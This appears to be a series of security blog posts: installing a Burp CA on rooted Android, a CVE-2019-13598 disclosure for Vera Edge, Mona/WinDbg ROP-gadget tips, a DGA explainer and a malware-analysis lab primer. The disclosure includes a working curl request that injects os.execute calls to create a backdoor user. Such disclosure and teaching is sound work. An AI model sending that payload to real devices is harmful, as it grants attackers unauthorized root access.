Tech Note: Installing Burp Certificate on Android 9

After setting up a proxy and configuring a device, normally you can navigate to http://burp and download the certificate for installation. This did not work for me when running Android 9.

To install the certificate on an Android 7 or above device I had to export the certificate from Burp in DER format.

Screen Shot 2017-12-12 at 10.35.39 AM

Once the certificate is exported it must be converted from DER to PEM format.

openssl x509 -inform DER -in burp.der -out burp.pem

Rename the certificate using the subject hash.

openssl x509 -inform PEM -subject_hash_old -in burp.pem |head -1

mv burp.pem <output_from_prevous_command>.0

Copy the file <subject_hash>.0 into /sdcard on the android device.

./adb push /path/to/file/<subject_hash>.0 /sdcard/

Remount /system as read/write. This requires a rooted Android device or emulator.

./adb shell su -c “mount -o rw,remount,rw /system”

Open a shell on the Android device.

./adb shell

Once the shell is loaded, move the file into the trusted certificate store, set correct permissions, and reboot the device.

cp <subject_hash>.0 /system/etc/security/cacerts

chmod 644 /system/etc/security/cacerts/<subject_hash>.0

reboot

 

Vera Edge Home Controller – LuaUPnP Unauthenticated Command Injection

Note: This vulnerability has been assigned CVE-2019-13598.

A command injection vulnerability was discovered in the /port_3480/data_request endpoint.  The VeraEdge has support for Lua scripting allowing developers to extend the functionality of the device.  Lua scripts submitted in the Test Luup code (Lua) form in the web interface are handled by the /port_3480/data_request endpoint which forwards requests to a C++ program called LuaUPnP.  LuaUPnP does not whitelist input allowing for the use of insecure API calls.  Furthermore, the endpoint does not have any authentication or authorization requirements.

The following image is an extract of the /etc/lighthttpd.conf displaying the proxy rule which forwards requests to the /port_3480 endpoint to localhost:3480.

rce-via-unauthenticated-command-injection-1

The following image displays output from the netstat command displaying the LuaUPnP process listening on all interfaces 0.0.0.0:3480.

rce-via-unauthenicated-command-injection-2

The following image displays output from the ps aux command showing that LuaUPnP runs as root.

luaupnp-runs-as-root.png

Exploiting LuaUPnP via command injection will likely grant the same root level privileges.

Requests are handled but he JobHandler_LuaUPnP::HandleActionRequest function.  This function determines the type of request being made, if the action parameter is equal to RunLua it will call the JobHandler_LuaUPnP::RunLua function. JobHandler_LuaUPnP::RunLua does some setup and sanity checking before delegating the execution of Lua script to the JobHandler_LuaUPnP::RunCode function.  One such sanity check that is performed, is to see if unsafe Lua scripting is allowed.  This block of code appears to never be executed in my testing of different device security settings.

if (*(char *)(*(int *)(this + 0x244) + 0x20f) == '\0') {
    piVar2 = (int *)GetInstance();
    (**(code **)(*piVar2 + 0x10))(piVar2,2,"JobHandler_LuaUPnP::RunLua unsafe disabled");
    __dest = (char *)(*(int *)param_1 + 8);
    __nptr = "No unsafe lua allowed";
  }
  else {
 	// Additional checks before running Lua code…

 

rce-via-unauthenticated-command-injection-3

The following cURL command demonstrates exploitation of this vulnerability by creating a new user giving the attacker access to login to the device via SSH which is enabled by default.

curl -i -s -k  -X $'POST' \
    -H $'Host: 192.168.86.30' -H $'Content-Length: 252' \
    --data-binary $'id=lu_action&serviceId=urn:micasaverde-com:serviceId:HomeAutomationGateway1&action=RunLua&Code=os.execute(%22adduser%20-h%20%2Froot%20-s%20%2Fbin%2Fash%20testuser%22)%3B%0Aos.execute(%22echo%20-e%20%5C%22test%5Cntest%5C%22%20%7C%20passwd%20testuser%22)' \
    $'http://192.168.86.30/port_3480/data_request'

Using Mona with WinDbg

Load pykd.pyd

.load pykd.pyd

Verify Mona is working by viewing usage information

!py mona

Search for modulars that are not ASLR or rebased

!py mona noaslr

Search through memory to find ROP gadgets in the kernel32.dll module

!py mona rop -m kernel32.dll

We can search multiple modules at once to find ROP gadgets for better results

!py mona rop -m "kernel32.dll,server.exe,ws2_32.dll,RPCRT4.dll" -cpb "\x00\x0a\x0d"

Search for gadgets using wildcards. The following example will search kernel32.dll for pop any 32 bit register, pop any 32 bit register, and then a return

!py mona findwild -m kernel32.dll -s "pop r32 # pop r32 # ret"

WinDbg tips for writing shellcode

I’ve had to search for instruction using WinDbg when doing a stack pivot.  The following example will search for jump edx (ff e2):


s 0 L?7EEEEEEE ff e2

Once you find a list of instructions that can be used for your pivot, verify you have the correct command by disassembling at that address:


0:000> u 7706da75
7706da75 ffe2 jmp edx
7706da77 48 dec eax
7706da78 8b05ca160300 mov eax,dword ptr ds:[316CAh]
7706da7e 48 dec eax
7706da7f 85c0 test eax,eax
7706da81 7419 je 7706da9c
7706da83 807c246000 cmp byte ptr [esp+60h],0
7706da88 7412 je 7706da9c

Once you have found an address to use for your stack pivot double check the memory protections at that address using !vprot:


0:000> !vprot 7706da75
BaseAddress: 7706d000
AllocationBase: 77050000
AllocationProtect: 00000080 PAGE_EXECUTE_WRITECOPY
RegionSize: 00018000
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE

String Analysis

When exploring binary files it is often useful to run strings to look for interesting data.  I’ve written a simple python script to analyze strings output for IP addresses and domain names.

This script will analyze the output of the strings command and look for IP addresses and domain names. When a potential IP address is found it will attempt a reverse lookup. When a potential domain name is found it will attempt to resolve the name to an IP address.

Usage

$ strings FileName | python strings-analysis.py

You can find the code on my Github.

Explaining DGAs

A DGA is a Domain Generating Algorithm.  These algorithms provide malware with new domains when connecting back to a C2 server.  Both the C2 server and the client need to implmement the same DGA to keep in sync for constant communication at any given time.

DGAs are a nessessary to avoid blacklisting which hinders the operation of the malware.  Without a DGA a new version of malware would need to be deployed when the domain is discovered and blocked.  A well written DGA is hard to determine and switches on a regular interval to avoid blacklisting keeping the C2 communication up and running.  The result of a DGA is an AGD or algorihimly generated domain.  The constant changing of domains is often referred to as Domain Fluxing.

Finding DGAs in malware is often the combination of reverse engineering and dynamic analysis.  Reverse engineering will alllow you to determine seed values and top level domains used to generate the domains.  The goal is to reverse engineer the algorithm to predetermine domains for blacklisting.  Alternately, you can run the malware and log network traffic reviewing the generated domains, and attempt to reverse engineer the algorithm which generated them.

In summary, DGAs provide malware authors a method to avoid detection and blacklisting of there C2 channel.  Reverse engineering the DGA provides a method for defenders protect their networks from malicious activity.  DGA authors will continue to think of new and clever ways of generating domains for C2 connectivity.  Potential methods include seeding the algorithms based on trending topics on Twitter, stock market prices, or even the current value of bitcoin.  The potential methods are only limited by one’s imagination.

Getting started with malware analysis

I’ve been exploring high-level malware analysis over the past few weeks.  This post is a collection of thoughts and learnings from exploring this area of research.

Analysis Lab

First things first, you need to setup a lab environment off of your production network to analyze malware samples.  I recommend using a virtual machine to acomplish this wether that is virtual box or VMware.  You will need a Windows machine running Windows 7 or later depending on your needs.

I have opted for setting up the FLARE VM on Windows as it includes a plethora of utilities to get you started.  A number of which I will be breifly discussing in this post.

Make sure to create a snapshot of a clean state once you have your analysis VM configured.  You can restore this snapshot when you have completed an analysis session or need to update your system and tools.

It is important to ensure your VM is set to host-only mode when doing analysis to ensure the malware cannot connect to its C2 server or other machines on your network.  This will prevent the malware from doing malicious operations that you will want to prevent when analyzing its inner workings.

FLARE VM

Setting up FLARE VM is straight forward and to this point the only set of tools I’ve explored on this journey.  Download the installer from https://github.com/fireeye/flare-vm and follow the instructions in Readme.md.  This will transform your Windows VM into a malware analysis machine giving you the utilities you need to perform both static and dynamic analysis of malware samples.

PE File Format

Windows executables use the portable executable file format, also called the PE file format. These files contain the information required by the Windows loader to manage the wrapped executable code. The file begins with a header that contains information about the code, type of application, required library functions, and space requirements. Reviewing the PE file for this information gives us a great look at what the program may do. Looking at the required libraries and functions can give hints as to the functionality of the application. Reviewing space requirements may indicate if we are dealing with a packed executable. This is a good place to start when doing basic static analysis.

The four commonly found file sections include the following:

    • .text
      • Contains the instructions that the CPU executes
      • This should be the only section that can execute
      • Other sections include supporting information
    • .rdata
      • Contains import and export information
      • Can also be used to store other read-only data
      • Sometimes different compilers will create a .idata and .edata for import and export information
    • .data
      • Contains global information accessible from anywhere within the program
    • .rsrc
      • Contains resources used by the application such as icons, menus, images, and strings.

Packed Executables

While exploring your malware samples you may encounter packed executables.  This is fairly common for malware authors to pack executables for both obsucaction and to avoid detection by scanners.

A couple tips on detecting if you are working with a packed executable.

  • Running strings returns no human readable text
  • The import address table is very sparse
  • Section headers have declared sections with RAW Size of 0

When you encounter a packed executable there are a few tools included in the FLARE VM to help you unpack the exe.

Take a look at the following utilities to get started.

  • die
  • peid
  • CFF Explorer (supports UPX unpacking)

Tools for Basic Static Analysis

  • PEView
  • Resource Hacker

Tools for Basic Dynamic Analysis

  • Sysinternals
    • tcpview.exe
    • procmon.exe
    • procexplorer.exe
  • Network monitoring
    • FakeNet-NG
    • Wireshark

FakeNet-NG

I’m going to dive a bit into FakeNet-NG as I found it particularly useful.  FakeNet-NG is a dynamic network analysis tool for malware analysis.  It allows you to intercept and redirect all or specific network traffic while simulating legitimate network services.  What does this mean? While you are running in host-only mode on your VM, the malware cannot reach out to its C2 server or other network services.  FakeNet-NG steps in and provides network services for the malware to communicate with providing fake network connectivity for your malware sample. During this process, FakeNet-NG will create a pcap file of all the traffic captured during the execution of the malware sample allowing you to dig deeper into what C2 servers or other network resources the malware is communicating with.  This allows you to profile the malware functionality in safe manor.

For more information on FakeNet-NG visit https://github.com/fireeye/flare-fakenet-ng and read the provided documentation.

I will continue to update this post with additional information as my research progresses.  I hope you found this useful.

Tech Note: SSH to Jailbroken iOS Device (10.2)

You can not connect to ssh over wifi with the 10.2 jailbreak. You need to ssh over USB. They are several options but the easiest is to use iproxy.

  1. Install iproxy
    brew install libimobiledevice
  2. On the terminal run the following command.
    iproxy 2222 22
    This will enable you to forward all traffic from port 2222 to port 22 over USB
  3. Now you can connect to the iPhone by running ssh
    ssh root@localhost -p 2222 

Notice you connect to localhost not the ip address of your phone. If everything went well, you should be presented with the ssh prompt.

Tech Note: Installing Burp Certificate on Android

Note: I have an updated post on installing the Burp certificate on newer versions of Android. See Tech Note: Installing Burp Certificate on Android 9.

After setting up a proxy and configuring a device, normally you can navigate to http://burp and download the certificate for installation.  This did not work for me when running Android 6.0.1.

To install the certificate on an Android device I had to export the certificate from Burp in DER format.  After that I was able to import the certificate without any problems.

Screen Shot 2017-12-12 at 10.35.39 AM

  1. Open Burp
  2. Navigate to Proxy -> Options -> Import / export CA certificate
  3. Select Certificate in DER format
  4. Export the certificate
  5. Copy the certificate to the Android device
  6. Install the certificate by navigating to Settings -> Wi-Fi – More options -> Advanced -> Install certificates
  7. Select the certificate and give it a name

Once the certificate is installed you can proxy SSL/TLS traffic as expected.